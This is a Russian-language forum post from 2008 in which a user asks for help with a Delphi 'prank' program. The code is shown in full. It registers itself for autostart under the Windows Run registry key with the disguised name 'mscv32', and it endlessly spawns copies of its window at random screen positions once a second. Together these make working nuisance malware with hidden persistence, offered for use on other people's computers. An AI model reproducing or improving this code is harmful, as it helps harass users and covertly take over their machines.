Показать сообщение отдельно
  #3  
Старый 29.10.2008, 07:42
sauron99 sauron99 вне форума
Прохожий
 
Регистрация: 29.10.2008
Сообщения: 2
Репутация: 10
Восклицание

я наверн тупо объяснил)) это прикол такой на делфи, жмёшь на кнопку создаются формы чере определённое время, как сделать чтоб при запуске проги всё выполнялось вот код:

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, XPMan, Buttons, registry;

type
  TForm1 = class(TForm)
    XPManifest1: TXPManifest;
    BitBtn1: TBitBtn;
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
reg := tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run',false);
reg.writestring('mscv32', application. exename);
reg.closekey;
reg.free;
Width:= 337; 
Height:= 185;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
X: TForm1; 
begin
X:= TForm1.Create(NIL);
ShowWindow(X.Handle, SW_SHOW); 
ShowWindow(X.BitBtn1.Handle, SW_SHOW); 
X.Top:= Random(Screen.Height); 
X.Left:= Random(Screen.Width);
X.Repaint; 
Sleep(1000);
BitBtn1.Click;

end;

end.
Admin: Пользуемся тегами!